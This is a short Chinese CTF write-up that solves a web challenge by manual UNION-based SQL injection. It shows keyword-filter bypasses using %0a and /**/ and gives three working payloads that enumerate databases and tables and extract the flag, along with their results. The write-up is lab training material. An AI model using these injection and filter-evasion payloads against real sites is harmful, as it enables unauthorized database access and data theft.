类型:web
网址:http://www.shiyanbar.com/ctf/1875
攻击:sql注入
一句话总结:
id有回显的sql注入(手工)
Writeup:
Union、select等被过滤,使用union%0a、select%0a代替
或者%0a用/**/替代也可以。
爆数据库名称:
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1
结果:baloteli、information_schema、test、web1
爆表:
1' union%0a select%0a table_name from%0a information_schema.tables%0a where%0a '1'='1
结果有很多,找到最后几张表,发现flag表
爆flag表flag字段的数据:
1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1
结果两条数据,分别是baloteli、flag{Y0u_@r3_5O_dAmn_90Od}
FLAG
flag{Y0u_@r3_5O_dAmn_90Od}
本文介绍了一次SQL注入攻击的实际操作过程,包括如何绕过过滤、爆破数据库名、表名及字段名,最终获取到FLAG信息。展示了在特定环境下利用SQL注入漏洞进行信息泄露的方法。
722

被折叠的 条评论
为什么被折叠?



